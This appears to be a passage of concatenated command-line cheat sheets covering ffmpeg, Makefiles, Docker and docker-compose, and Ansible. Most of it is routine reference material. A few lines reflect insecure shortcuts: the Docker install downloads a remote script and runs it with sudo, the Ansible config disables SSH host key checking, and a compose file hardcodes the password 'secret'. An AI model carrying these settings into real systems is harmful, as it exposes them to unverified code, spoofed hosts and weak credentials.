ffmpeg -hwaccel cuda -i input.mp4 -c:v h264_nvenc output.mp4

# Use faster preset
ffmpeg -i input.mp4 -preset ultrafast output.mp4

# Limit CPU usage
ffmpeg -threads 2 -i input.mp4 output.mp4

# Reduce file size (increase CRF)
ffmpeg -i input.mp4 -c:v libx264 -crf 28 output.mp4

# Target specific file size (calculate bitrate)
# bitrate = (target_size_MB * 8192) / duration_seconds - audio_bitrate
ffmpeg -i input.mp4 -b:v 1000k -c:a aac -b:a 128k output.mp4

# Two-pass for exact size
ffmpeg -i input.mp4 -b:v 1000k -pass 1 -f mp4 /dev/null
ffmpeg -i input.mp4 -b:v 1000k -pass 2 output.mp4

# Basic Makefile structure
target: prerequisites
	recipe

# Example: Compile a C program
program: main.c
	gcc -o program main.c

# Clean up build artifacts
clean:
	rm -f program

# Build default target (first target in Makefile)
make

# Build specific target
make clean

# Build multiple targets
make program test

# Show commands without executing
make -n

# Run with specific Makefile
make -f MyMakefile

# Comments start with #

# Variable definition
CC = gcc
CFLAGS = -Wall -O2

# Rule with target, prerequisites, and recipe
program: main.o utils.o
	$(CC) -o program main.o utils.o

# Multiple recipes (each on new line, indented with TAB)
main.o: main.c
	@echo "Compiling main.c"
	$(CC) $(CFLAGS) -c main.c

# Target with no prerequisites
clean:
	rm -f *.o program

# Simple variable assignment
CC = gcc
CXX = g++
CFLAGS = -Wall -Wextra -O2

# Recursive expansion (evaluated when used)
SRCS = $(wildcard *.c)
OBJS = $(SRCS:.c=.o)

# Simple expansion (evaluated immediately)
NOW := $(shell date)

# Conditional assignment (only if not set)
CC ?= gcc

# Append to variable
CFLAGS += -g

# Using variables
program: main.c
	$(CC) $(CFLAGS) -o program main.c

# $@ - Target name
# $< - First prerequisite
# $^ - All prerequisites
# $? - Prerequisites newer than target
# $* - Stem of pattern rule match

# Example usage
%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@
	# $< is the .c file
	# $@ is the .o file

program: main.o utils.o
	$(CC) -o $@ $^
	# $@ is 'program'
	# $^ is 'main.o utils.o'

# Pattern rule for .c -> .o
%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

# Pattern rule for .cpp -> .o
%.o: %.cpp
	$(CXX) $(CXXFLAGS) -c $< -o $@

# Multiple wildcards
bin/%: src/%.c
	$(CC) $(CFLAGS) $< -o $@

# Wildcard function
SRCS = $(wildcard src/*.c)
OBJS = $(wildcard obj/*.o)

# Pattern substitution
OBJS = $(SRCS:.c=.o)
OBJS = $(SRCS:%.c=%.o)
OBJS = $(patsubst %.c,%.o,$(SRCS))

# Example
SOURCES = $(wildcard *.c)
OBJECTS = $(SOURCES:.c=.o)
DEPS = $(SOURCES:.c=.d)

# Declare phony targets
.PHONY: all clean install test

# Common phony targets
all: program library

clean:
	rm -f *.o *.d program

install: program
	cp program /usr/local/bin/

test: program
	./run_tests.sh

# Prevent make from checking if 'clean' file exists
.PHONY: clean
clean:
	rm -f *.o program

# Compiler and flags
CC = gcc
CFLAGS = -Wall -Wextra -O2 -g

# Target executable
TARGET = myprogram

# Source files
SRCS = main.c utils.c parser.c
OBJS = $(SRCS:.c=.o)

# Default target
all: $(TARGET)

# Link object files
$(TARGET): $(OBJS)
	$(CC) -o $@ $^

# Compile source files
%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

# Clean build artifacts
clean:
	rm -f $(OBJS) $(TARGET)

# Phony targets
.PHONY: all clean

CC = gcc
CFLAGS = -Wall -Wextra -O2 -Iinclude

SRCDIR = src
OBJDIR = obj
BINDIR = bin

SRCS = $(wildcard $(SRCDIR)/*.c)
OBJS = $(SRCS:$(SRCDIR)/%.c=$(OBJDIR)/%.o)
TARGET = $(BINDIR)/program

all: $(TARGET)

$(TARGET): $(OBJS) | $(BINDIR)
	$(CC) -o $@ $^

$(OBJDIR)/%.o: $(SRCDIR)/%.c | $(OBJDIR)
	$(CC) $(CFLAGS) -c $< -o $@

# Create directories if they don't exist
$(BINDIR) $(OBJDIR):
	mkdir -p $@

clean:
	rm -rf $(OBJDIR) $(BINDIR)

.PHONY: all clean

CXX = g++
CXXFLAGS = -std=c++17 -Wall -Wextra -O2
LDFLAGS = -lpthread -lm

SRCDIR = src
OBJDIR = obj
BINDIR = bin
INCDIR = include

SRCS = $(wildcard $(SRCDIR)/*.cpp)
OBJS = $(SRCS:$(SRCDIR)/%.cpp=$(OBJDIR)/%.o)
DEPS = $(OBJS:.o=.d)
TARGET = $(BINDIR)/program

all: $(TARGET)

$(TARGET): $(OBJS) | $(BINDIR)
	$(CXX) $(CXXFLAGS) -o $@ $^ $(LDFLAGS)

$(OBJDIR)/%.o: $(SRCDIR)/%.cpp | $(OBJDIR)
	$(CXX) $(CXXFLAGS) -I$(INCDIR) -MMD -MP -c $< -o $@

$(BINDIR) $(OBJDIR):
	mkdir -p $@

clean:
	rm -rf $(OBJDIR) $(BINDIR)

# Include dependency files
-include $(DEPS)

.PHONY: all clean

CC = gcc
CFLAGS = -Wall -Wextra -O2

# Multiple programs
PROGRAMS = server client

all: $(PROGRAMS)

server: server.o network.o utils.o
	$(CC) -o $@ $^

client: client.o network.o
	$(CC) -o $@ $^

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

clean:
	rm -f *.o $(PROGRAMS)

.PHONY: all clean

# Check variable value
ifdef DEBUG
    CFLAGS += -g -DDEBUG
else
    CFLAGS += -O2
endif

# Conditional based on value
ifeq ($(CC),gcc)
    CFLAGS += -Wall
endif

ifneq ($(OS),Windows_NT)
    LDFLAGS += -lpthread
endif

# OS detection
UNAME := $(shell uname -s)
ifeq ($(UNAME),Linux)
    LDFLAGS += -lrt
endif
ifeq ($(UNAME),Darwin)
    LDFLAGS += -framework CoreFoundation
endif

# Substitution
SRCS = main.c utils.c parser.c
OBJS = $(SRCS:.c=.o)
OBJS = $(patsubst %.c,%.o,$(SRCS))

# Directory operations
DIRS = $(dir src/main.c include/utils.h)  # "src/ include/"
FILES = $(notdir src/main.c include/utils.h)  # "main.c utils.h"

# String manipulation
FILES = $(wildcard *.c)
NAMES = $(basename $(FILES))  # Remove extension
UPPERS = $(shell echo $(FILES) | tr a-z A-Z)

# Filtering
SRCS = main.c test.c utils.c
PROD_SRCS = $(filter-out test.c,$(SRCS))  # "main.c utils.c"
TEST_SRCS = $(filter test%,$(SRCS))  # "test.c"

# Shell commands
DATE := $(shell date +%Y%m%d)
GIT_HASH := $(shell git rev-parse --short HEAD)

# Include another makefile
include config.mk

# Include with error if missing
include required.mk

# Include without error if missing
-include optional.mk

# Include all dependency files
-include $(DEPS)

# Example: config.mk
# CC = gcc
# CFLAGS = -Wall -O2

# Top-level Makefile
SUBDIRS = lib src tests

all:
	for dir in $(SUBDIRS); do \
		$(MAKE) -C $$dir; \
	done

clean:
	for dir in $(SUBDIRS); do \
		$(MAKE) -C $$dir clean; \
	done

.PHONY: all clean

CC = gcc
CFLAGS = -Wall -O2

SRCS = main.c utils.c
OBJS = $(SRCS:.c=.o)
DEPS = $(SRCS:.c=.d)

program: $(OBJS)
	$(CC) -o $@ $^

# Generate dependencies automatically
%.o: %.c
	$(CC) $(CFLAGS) -MMD -MP -c $< -o $@

# Include generated dependency files
-include $(DEPS)

clean:
	rm -f $(OBJS) $(DEPS) program

.PHONY: clean

CC = gcc
CFLAGS = -Wall -Wextra

# Build modes
ifdef DEBUG
    CFLAGS += -g -O0 -DDEBUG
    TARGET = program_debug
else
    CFLAGS += -O2 -DNDEBUG
    TARGET = program
endif

SRCS = main.c utils.c
OBJS = $(SRCS:.c=.o)

all: $(TARGET)

$(TARGET): $(OBJS)
	$(CC) -o $@ $^

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

clean:
	rm -f $(OBJS) program program_debug

# Usage: make DEBUG=1
.PHONY: all clean

PREFIX = /usr/local
BINDIR = $(PREFIX)/bin
DATADIR = $(PREFIX)/share/myapp

all: program

program: main.o
	$(CC) -o $@ $^

install: program
	install -d $(BINDIR)
	install -m 755 program $(BINDIR)
	install -d $(DATADIR)
	install -m 644 data/* $(DATADIR)

uninstall:
	rm -f $(BINDIR)/program
	rm -rf $(DATADIR)

.PHONY: all install uninstall

CC = gcc
CFLAGS = -Wall -Wextra -O2

SRCS = main.c utils.c
TEST_SRCS = test_utils.c
OBJS = $(SRCS:.c=.o)
TEST_OBJS = $(TEST_SRCS:.c=.o)

program: $(OBJS)
	$(CC) -o $@ $^

test_runner: $(TEST_OBJS) utils.o
	$(CC) -o $@ $^

test: test_runner
	./test_runner

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

clean:
	rm -f $(OBJS) $(TEST_OBJS) program test_runner

.PHONY: test clean

CC = gcc
AR = ar
CFLAGS = -Wall -Wextra -O2

LIBNAME = mylib
SRCS = lib1.c lib2.c lib3.c
OBJS = $(SRCS:.c=.o)
TARGET = lib$(LIBNAME).a

all: $(TARGET)

$(TARGET): $(OBJS)
	$(AR) rcs $@ $^

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

install: $(TARGET)
	install -d /usr/local/lib
	install -m 644 $(TARGET) /usr/local/lib
	install -d /usr/local/include/$(LIBNAME)
	install -m 644 *.h /usr/local/include/$(LIBNAME)

clean:
	rm -f $(OBJS) $(TARGET)

.PHONY: all install clean

CC = gcc
CFLAGS = -Wall -Wextra -O2 -fPIC
LDFLAGS = -shared

LIBNAME = mylib
VERSION = 1.0.0
MAJOR = 1

SRCS = lib1.c lib2.c lib3.c
OBJS = $(SRCS:.c=.o)
TARGET = lib$(LIBNAME).so.$(VERSION)
SONAME = lib$(LIBNAME).so.$(MAJOR)
LINKNAME = lib$(LIBNAME).so

all: $(TARGET)

$(TARGET): $(OBJS)
	$(CC) $(LDFLAGS) -Wl,-soname,$(SONAME) -o $@ $^

%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

install: $(TARGET)
	install -d /usr/local/lib
	install -m 755 $(TARGET) /usr/local/lib
	ln -sf $(TARGET) /usr/local/lib/$(SONAME)
	ln -sf $(SONAME) /usr/local/lib/$(LINKNAME)
	ldconfig

clean:
	rm -f $(OBJS) $(TARGET)

.PHONY: all install clean

# Run in parallel (4 jobs)
make -j4

# Keep going on errors
make -k

# Show commands without executing
make -n
make --dry-run

# Print directory changes
make -w

# Ignore errors
make -i

# Touch files instead of building
make -t

# Print database of rules
make -p

# Treat warnings as errors
make --warn-undefined-variables

# Override variables
make CC=clang CFLAGS="-O3"

# Use specific Makefile
make -f Makefile.custom

# Change directory
make -C src/

# Set variables in Makefile
export CC=gcc
make

# 1. Use variables for configurability
CC = gcc
CFLAGS = -Wall -Wextra -O2
PREFIX = /usr/local

# 2. Declare phony targets
.PHONY: all clean install test

# 3. Use automatic variables
%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

# 4. Add help target
help:
	@echo "Available targets:"
	@echo "  all      - Build the program"
	@echo "  clean    - Remove build artifacts"
	@echo "  install  - Install the program"
	@echo "  test     - Run tests"

# 5. Use default goal
.DEFAULT_GOAL := all

# Auto-generate dependencies
CC = gcc
CFLAGS = -Wall -O2
DEPFLAGS = -MMD -MP

SRCS = $(wildcard *.c)
OBJS = $(SRCS:.c=.o)
DEPS = $(SRCS:.c=.d)

%.o: %.c
	$(CC) $(CFLAGS) $(DEPFLAGS) -c $< -o $@

-include $(DEPS)

clean:
	rm -f $(OBJS) $(DEPS)

# Stop on first error (default behavior)
.POSIX:

# Check for required tools
CHECK_CC := $(shell command -v $(CC) 2> /dev/null)
ifndef CHECK_CC
    $(error $(CC) not found in PATH)
endif

# Validate variables
ifndef TARGET
    $(error TARGET is not defined)
endif

# Conditional compilation
program: main.o
ifeq ($(CC),)
	$(error CC is not set)
endif
	$(CC) -o $@ $^

# Silent mode (suppress echo of commands)
.SILENT:

# Selective silence
all:
	@echo "Building..."
	$(CC) -o program main.c

# Verbose mode controlled by variable
ifdef VERBOSE
    Q =
else
    Q = @
endif

%.o: %.c
	@echo "CC $<"
	$(Q)$(CC) $(CFLAGS) -c $< -o $@

# "Missing separator" error
# Problem: Using spaces instead of TAB in recipe
# Solution: Ensure recipes are indented with TAB

# "No rule to make target" error
# Problem: Make can't find prerequisite file
make --debug=v  # Verbose debug output

# "Circular dependency" error
# Problem: Target depends on itself
# Solution: Review dependency chain

# Rebuild everything
make clean && make

# Show what make would do
make -n

# Print variables
make print-VARIABLE

# Print variable values
print-%:
	@echo $* = $($*)

# Usage: make print-CFLAGS

# Debug output
$(info Building with CC=$(CC))
$(warning This is a warning message)
$(error This stops the build)

# Show all variables
debug:
	@echo "SRCS = $(SRCS)"
	@echo "OBJS = $(OBJS)"
	@echo "CFLAGS = $(CFLAGS)"

# Parallel builds
make -j$(nproc)  # Use all CPU cores

# Profile make execution
make -d > debug.log 2>&1

# Check which targets are rebuilt
make -d | grep "Must remake"

# Use ccache for faster compilation
CC = ccache gcc

# Project configuration
PROJECT = myapp
VERSION = 1.0.0

# Compiler settings
CC = gcc
CXX = g++
CFLAGS = -Wall -Wextra -std=c11 -O2
CXXFLAGS = -Wall -Wextra -std=c++17 -O2
LDFLAGS = -lm -lpthread

# Directories
SRCDIR = src
INCDIR = include
OBJDIR = obj
BINDIR = bin
TESTDIR = tests

# Files
SRCS = $(wildcard $(SRCDIR)/*.c)
OBJS = $(SRCS:$(SRCDIR)/%.c=$(OBJDIR)/%.o)
DEPS = $(OBJS:.o=.d)
TARGET = $(BINDIR)/$(PROJECT)

# Installation paths
PREFIX = /usr/local
BINPREFIX = $(PREFIX)/bin

# Build modes
ifdef DEBUG
    CFLAGS += -g -DDEBUG
    CXXFLAGS += -g -DDEBUG
endif

ifdef VERBOSE
    Q =
else
    Q = @
endif

# Targets
.PHONY: all clean install uninstall test help

all: $(TARGET)

$(TARGET): $(OBJS) | $(BINDIR)
	@echo "Linking $@"
	$(Q)$(CC) -o $@ $^ $(LDFLAGS)

$(OBJDIR)/%.o: $(SRCDIR)/%.c | $(OBJDIR)
	@echo "Compiling $<"
	$(Q)$(CC) $(CFLAGS) -I$(INCDIR) -MMD -MP -c $< -o $@

$(BINDIR) $(OBJDIR):
	$(Q)mkdir -p $@

clean:
	@echo "Cleaning build artifacts"
	$(Q)rm -rf $(OBJDIR) $(BINDIR)

install: $(TARGET)
	@echo "Installing to $(BINPREFIX)"
	$(Q)install -d $(BINPREFIX)
	$(Q)install -m 755 $(TARGET) $(BINPREFIX)

uninstall:
	@echo "Uninstalling from $(BINPREFIX)"
	$(Q)rm -f $(BINPREFIX)/$(PROJECT)

test: $(TARGET)
	@echo "Running tests"
	$(Q)./$(TESTDIR)/run_tests.sh

help:
	@echo "Available targets:"
	@echo "  all       - Build the project (default)"
	@echo "  clean     - Remove build artifacts"
	@echo "  install   - Install the program"
	@echo "  uninstall - Uninstall the program"
	@echo "  test      - Run tests"
	@echo "  help      - Show this help message"
	@echo ""
	@echo "Build modes:"
	@echo "  make DEBUG=1    - Build with debug symbols"
	@echo "  make VERBOSE=1  - Show full commands"

-include $(DEPS)

# Ubuntu/Debian
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker $USER

# Verify installation
docker --version
docker run hello-world

# Run a container
docker run nginx
docker run -d nginx  # Detached mode
docker run -it ubuntu bash  # Interactive terminal

# Run with options
docker run -d \
  --name my-nginx \
  -p 8080:80 \
  -v /host/path:/container/path \
  -e ENV_VAR=value \
  nginx

# List containers
docker ps  # Running containers
docker ps -a  # All containers

# Stop/Start containers
docker stop container_name
docker start container_name
docker restart container_name

# Remove containers
docker rm container_name
docker rm -f container_name  # Force remove
docker container prune  # Remove all stopped containers

# List images
docker images
docker image ls

# Pull image from registry
docker pull nginx
docker pull nginx:1.21

# Build image from Dockerfile
docker build -t myapp:1.0 .
docker build -t myapp:latest -f Dockerfile.prod .

# Remove images
docker rmi image_name
docker image prune  # Remove unused images
docker image prune -a  # Remove all unused images

# Tag image
docker tag myapp:1.0 username/myapp:1.0

# Push to registry
docker push username/myapp:1.0

# View logs
docker logs container_name
docker logs -f container_name  # Follow logs
docker logs --tail 100 container_name

# Execute command in container
docker exec container_name ls /app
docker exec -it container_name bash

# Inspect container
docker inspect container_name
docker stats container_name  # Resource usage

# Copy files
docker cp file.txt container_name:/path/
docker cp container_name:/path/file.txt ./

# Base image
FROM node:18-alpine

# Set working directory
WORKDIR /app

# Copy package files
COPY package*.json ./

# Install dependencies
RUN npm install

# Copy application code
COPY . .

# Expose port
EXPOSE 3000

# Set environment variables
ENV NODE_ENV=production

# Run command
CMD ["node", "server.js"]

# Build stage
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN npm run build

# Production stage
FROM node:18-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY package*.json ./
RUN npm install --production
EXPOSE 3000
CMD ["node", "dist/server.js"]

# FROM: Base image
FROM ubuntu:22.04

# LABEL: Metadata
LABEL maintainer="dev@example.com"
LABEL version="1.0"

# ENV: Environment variables
ENV APP_HOME=/app
ENV PORT=8080

# ARG: Build-time variables
ARG VERSION=latest
RUN echo "Building version ${VERSION}"

# WORKDIR: Set working directory
WORKDIR /app

# COPY: Copy files from host
COPY src/ /app/src/

# ADD: Copy and extract archives
ADD archive.tar.gz /app/

# RUN: Execute commands during build
RUN apt-get update && \
    apt-get install -y python3 && \
    rm -rf /var/lib/apt/lists/*

# USER: Set user
USER appuser

# EXPOSE: Document ports
EXPOSE 8080 8443

# VOLUME: Create mount point
VOLUME ["/data"]

# ENTRYPOINT: Configure container executable
ENTRYPOINT ["python3"]

# CMD: Default arguments for ENTRYPOINT
CMD ["app.py"]

# HEALTHCHECK: Container health check
HEALTHCHECK --interval=30s --timeout=3s \
  CMD curl -f http://localhost/ || exit 1

version: '3.8'

services:
  web:
    build: .
    ports:
      - "8080:80"
    volumes:
      - ./src:/app/src
    environment:
      - NODE_ENV=development
    depends_on:
      - db

  db:
    image: postgres:15
    volumes:
      - db-data:/var/lib/postgresql/data
    environment:
      POSTGRES_PASSWORD: secret
      POSTGRES_DB: myapp

volumes:
  db-data:

# Start services
docker-compose up
docker-compose up -d  # Detached

# Stop services
docker-compose down
docker-compose down -v  # Remove volumes

# Build services
docker-compose build
docker-compose build --no-cache

# View logs
docker-compose logs
docker-compose logs -f service_name

# Execute commands
docker-compose exec web bash
docker-compose exec db psql -U postgres

# Scale services
docker-compose up -d --scale web=3

# List services
docker-compose ps

version: '3.8'

services:
  app:
    build:
      context: .
      dockerfile: Dockerfile.dev
      args:
        VERSION: "1.0"
    image: myapp:latest
    container_name: myapp
    restart: unless-stopped
    ports:
      - "3000:3000"
    volumes:
      - ./src:/app/src:ro  # Read-only
      - node_modules:/app/node_modules
    environment:
      NODE_ENV: development
      DATABASE_URL: postgres://db:5432/myapp
    env_file:
      - .env
    depends_on:
      db:
        condition: service_healthy
    networks:
      - backend
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
      timeout: 10s
      retries: 3

  db:
    image: postgres:15-alpine
    volumes:
      - postgres_data:/var/lib/postgresql/data
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql
    environment:
      POSTGRES_PASSWORD: ${DB_PASSWORD}
    networks:
      - backend

networks:
  backend:
    driver: bridge

volumes:
  postgres_data:
  node_modules:

# List networks
docker network ls

# Create network
docker network create mynetwork
docker network create --driver bridge mynetwork

# Connect container to network
docker network connect mynetwork container_name

# Disconnect from network
docker network disconnect mynetwork container_name

# Inspect network
docker network inspect mynetwork

# Remove network
docker network rm mynetwork

# Bridge (default)
docker run --network bridge nginx

# Host (use host's network)
docker run --network host nginx

# None (no networking)
docker run --network none nginx

# Custom bridge network
docker network create app-network
docker run --network app-network --name web nginx
docker run --network app-network --name db postgres

# Create volume
docker volume create myvolume

# List volumes
docker volume ls

# Inspect volume
docker volume inspect myvolume

# Remove volume
docker volume rm myvolume
docker volume prune  # Remove unused volumes

# Use volume in container
docker run -v myvolume:/data nginx
docker run --mount source=myvolume,target=/data nginx

# Named volume
docker run -v myvolume:/app/data nginx

# Bind mount (host directory)
docker run -v /host/path:/container/path nginx
docker run -v $(pwd):/app nginx

# Anonymous volume
docker run -v /container/path nginx

# Read-only volume
docker run -v myvolume:/data:ro nginx

# 1. Use specific image tags
FROM node:18.16-alpine  # Good
FROM node:latest        # Avoid

# 2. Minimize layers
RUN apt-get update && apt-get install -y \
    package1 \
    package2 \
    && rm -rf /var/lib/apt/lists/*

# 3. Order instructions by frequency of change
FROM node:18-alpine
WORKDIR /app
COPY package*.json ./     # Changes less frequently
RUN npm install
COPY . .                  # Changes more frequently

# 4. Use .dockerignore
# Create .dockerignore file:
# node_modules
# .git
# .env
# *.log

# 5. Don't run as root
RUN addgroup -g 1001 appgroup && \
    adduser -D -u 1001 -G appgroup appuser
USER appuser

# 6. Use multi-stage builds
FROM node:18 AS builder
WORKDIR /app
COPY . .
RUN npm run build

FROM node:18-alpine
COPY --from=builder /app/dist /app/dist

# 1. Scan images for vulnerabilities
docker scan myimage:latest

# 2. Use official images
docker pull nginx:alpine

# 3. Keep images updated
docker pull nginx:latest

# 4. Limit container resources
docker run --memory="512m" --cpus="1.0" nginx

# 5. Run as non-root user
docker run --user 1000:1000 nginx

# 6. Use secrets for sensitive data
docker secret create db_password password.txt
docker service create --secret db_password myapp

# docker-compose.dev.yml
version: '3.8'

services:
  app:
    build:
      context: .
      target: development
    volumes:
      - .:/app
      - /app/node_modules
    ports:
      - "3000:3000"
    environment:
      NODE_ENV: development
    command: npm run dev

# docker-compose.prod.yml
version: '3.8'

services:
  app:
    image: myapp:${VERSION:-latest}
    restart: always
    ports:
      - "80:3000"
    environment:
      NODE_ENV: production
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
    deploy:
      replicas: 3
      resources:
        limits:
          cpus: '1'
          memory: 512M

#!/bin/bash
# Backup Docker volume

VOLUME_NAME="mydata"
BACKUP_FILE="backup-$(date +%Y%m%d-%H%M%S).tar.gz"

docker run --rm \
  -v ${VOLUME_NAME}:/data \
  -v $(pwd):/backup \
  alpine \
  tar czf /backup/${BACKUP_FILE} -C /data .

echo "Backup created: ${BACKUP_FILE}"

# Container exits immediately
docker logs container_name
docker run -it container_name sh

# Port already in use
docker ps -a | grep 8080
lsof -i :8080

# Out of disk space
docker system df
docker system prune  # Remove unused data
docker system prune -a  # Remove all unused data

# Permission denied
sudo usermod -aG docker $USER
newgrp docker

# Network issues
docker network ls
docker network inspect bridge

# Image pull errors
docker pull --platform linux/amd64 image_name

# Inspect container
docker inspect --format='{{.State.Status}}' container_name
docker inspect --format='{{.NetworkSettings.IPAddress}}' container_name

# Container events
docker events --filter container=container_name

# System information
docker info
docker version

# Resource usage
docker stats
docker top container_name

# Add to ~/.bashrc or ~/.zshrc
alias dps='docker ps'
alias dpsa='docker ps -a'
alias di='docker images'
alias drm='docker rm'
alias drmi='docker rmi'
alias dstop='docker stop $(docker ps -q)'
alias dclean='docker system prune -af'
alias dlog='docker logs -f'
alias dexec='docker exec -it'

# Ubuntu/Debian
sudo apt update
sudo apt install ansible

# macOS
brew install ansible

# CentOS/RHEL
sudo yum install epel-release
sudo yum install ansible

# Using pip
pip install ansible

# Verify installation
ansible --version

# Create ansible.cfg
cat << 'EOF' > ansible.cfg
[defaults]
inventory = ./inventory
host_key_checking = False
remote_user = ansible
private_key_file = ~/.ssh/id_rsa
retry_files_enabled = False
gathering = smart
fact_caching = jsonfile
fact_caching_connection = /tmp/ansible_facts
fact_caching_timeout = 3600

[privilege_escalation]
become = True
become_method = sudo
become_user = root
become_ask_pass = False
EOF

# inventory or hosts file

# Single host
web1.example.com

# Group of hosts
[webservers]
web1.example.com
web2.example.com
192.168.1.10

# Multiple groups
[databases]
db1.example.com
db2.example.com

[app:children]
webservers
databases

# Host with variables
[webservers]
web1.example.com ansible_user=admin ansible_port=2222

# Group variables
[webservers:vars]
ansible_user=deploy
ansible_python_interpreter=/usr/bin/python3
http_port=80

# inventory.yml
all:
  hosts:
    web1.example.com:
    web2.example.com:
  children:
    webservers:
      hosts:
        web1.example.com:
          ansible_user: deploy
        web2.example.com:
          ansible_user: deploy
      vars:
        http_port: 80
    databases:
      hosts:
        db1.example.com:
        db2.example.com:
      vars:
        db_port: 5432

# Ping all hosts
ansible all -m ping

# Ping specific group
ansible webservers -m ping

# Run shell command
ansible all -m shell -a "uptime"
ansible webservers -a "df -h"  # shell module is default

# Copy file
ansible all -m copy -a "src=/local/file dest=/remote/file"

# Install package
ansible webservers -m apt -a "name=nginx state=present" --become

# Start service
ansible webservers -m service -a "name=nginx state=started" --become

# Gather facts
ansible all -m setup

# Specific fact
ansible all -m setup -a "filter=ansible_distribution*"

# Execute with sudo
ansible all -a "systemctl restart nginx" --become

# Execute as specific user
ansible all -a "whoami" --become-user=www-data

# playbook.yml
---
- name: Configure web servers
  hosts: webservers
  become: yes

  tasks:
    - name: Install nginx
      apt:
        name: nginx
        state: present
        update_cache: yes

    - name: Start nginx service
      service:
        name: nginx
        state: started
        enabled: yes

    - name: Copy index.html
      copy:
        src: files/index.html
        dest: /var/www/html/index.html
        owner: www-data
        group: www-data
        mode: '0644'

# Run playbook
ansible-playbook playbook.yml

# Dry run (check mode)
ansible-playbook playbook.yml --check

# Show differences
ansible-playbook playbook.yml --check --diff

# Limit to specific hosts
ansible-playbook playbook.yml --limit web1.example.com
ansible-playbook playbook.yml --limit webservers

# Tags
ansible-playbook playbook.yml --tags "install"
ansible-playbook playbook.yml --skip-tags "config"

# Start at specific task
ansible-playbook playbook.yml --start-at-task="Install nginx"

# Verbose output
ansible-playbook playbook.yml -v    # verbose
ansible-playbook playbook.yml -vv   # more verbose
ansible-playbook playbook.yml -vvv  # very verbose

---
- name: Configure application
  hosts: webservers
  vars:
    app_name: myapp
    app_version: "1.0"
    app_port: 8080

  tasks:
    - name: Create app directory
      file:
        path: "/opt/{{ app_name }}"
        state: directory
        owner: "{{ ansible_user }}"

    - name: Display variables
      debug:
        msg: "Deploying {{ app_name }} version {{ app_version }} on port {{ app_port }}"

# vars.yml
---
app_name: myapp
app_version: "1.0"
app_port: 8080
database:
  host: db.example.com
  name: myapp_db
  user: myapp_user

# playbook.yml
---
- name: Configure application
  hosts: webservers
  vars_files:
    - vars.yml

  tasks:
    - name: Display app info
      debug:
        msg: "App: {{ app_name }}, DB: {{ database.host }}"

# User management
- name: Create user
  user:
    name: deploy
    state: present
    groups: sudo
    shell: /bin/bash
    create_home: yes

# Group management
- name: Create group
  group:
    name: developers
    state: present

# File operations
- name: Create file
  file:
    path: /tmp/test.txt
    state: touch
    mode: '0644'
    owner: deploy

- name: Create directory
  file:
    path: /opt/myapp
    state: directory
    mode: '0755'
    recurse: yes

# Copy files
- name: Copy file
  copy:
    src: files/config.conf
    dest: /etc/myapp/config.conf
    backup: yes

# Template files
- name: Deploy template
  template:
    src: templates/nginx.conf.j2
    dest: /etc/nginx/nginx.conf
    validate: 'nginx -t -c %s'
  notify: restart nginx

# APT (Debian/Ubuntu)
- name: Install packages
  apt:
    name:
      - nginx
      - postgresql
      - python3-pip
    state: present
    update_cache: yes

# YUM/DNF (RedHat/CentOS)
- name: Install packages
  yum:
    name:
      - httpd
      - mariadb-server
    state: present

# Package from URL
- name: Install deb package
  apt:
    deb: https://example.com/package.deb

# Remove package
- name: Remove package
  apt:
    name: apache2
    state: absent
    purge: yes

- name: Manage service
  service:
    name: nginx
    state: started
    enabled: yes

- name: Restart service
  service:
    name: apache2
    state: restarted

- name: Reload service
  service:
    name: nginx
    state: reloaded

# Shell module
- name: Run shell command
  shell: echo $HOME
  register: home_dir

- name: Display output
  debug:
    var: home_dir.stdout

# Command module (no shell features)
- name: Run command
  command: /usr/bin/uptime
  register: uptime_result

# Script execution
- name: Run script
  script: scripts/setup.sh

# Execute with conditions
- name: Check file exists
  stat:
    path: /etc/config.conf
  register: config_file

- name: Run if file exists
  command: /usr/bin/process_config
  when: config_file.stat.exists

---
- name: Configure nginx
  hosts: webservers
  become: yes

  tasks:
    - name: Copy nginx config
      template:
        src: nginx.conf.j2
        dest: /etc/nginx/nginx.conf
      notify:
        - restart nginx
        - reload nginx

    - name: Copy site config
      template:
        src: site.conf.j2
        dest: /etc/nginx/sites-available/default
      notify: reload nginx

  handlers:
    - name: restart nginx
      service:
        name: nginx
        state: restarted

    - name: reload nginx
      service:
        name: nginx
        state: reloaded

# Create role structure
ansible-galaxy init myrole

# Directory structure
myrole/
├── defaults/          # Default variables
│   └── main.yml
├── files/             # Static files
├── handlers/          # Handlers
│   └── main.yml
├── meta/              # Role metadata
│   └── main.yml
├── tasks/             # Main tasks
│   └── main.yml
├── templates/         # Jinja2 templates
├── tests/             # Test playbooks
│   └── test.yml
└── vars/              # Role variables
    └── main.yml

# roles/nginx/tasks/main.yml
---
- name: Install nginx
  apt:
    name: nginx
    state: present
    update_cache: yes

- name: Copy nginx config
  template:
    src: nginx.conf.j2
    dest: /etc/nginx/nginx.conf
  notify: restart nginx

- name: Start nginx
  service:
    name: nginx
    state: started
    enabled: yes

# roles/nginx/handlers/main.yml
---
- name: restart nginx
  service:
    name: nginx
    state: restarted

# roles/nginx/defaults/main.yml
---
nginx_port: 80
nginx_user: www-data

# Using the role
---
- name: Setup web server
  hosts: webservers
  become: yes
  roles:
    - nginx
    - { role: mysql, mysql_port: 3306 }

---
- name: Conditional tasks
  hosts: all
  tasks:
    - name: Install on Ubuntu
      apt:
        name: nginx
        state: present
      when: ansible_distribution == "Ubuntu"

    - name: Install on CentOS
      yum:
        name: httpd
        state: present
      when: ansible_distribution == "CentOS"

    - name: Multiple conditions (AND)
      apt:
        name: nginx
        state: present
      when:
        - ansible_distribution == "Ubuntu"
        - ansible_distribution_version == "20.04"

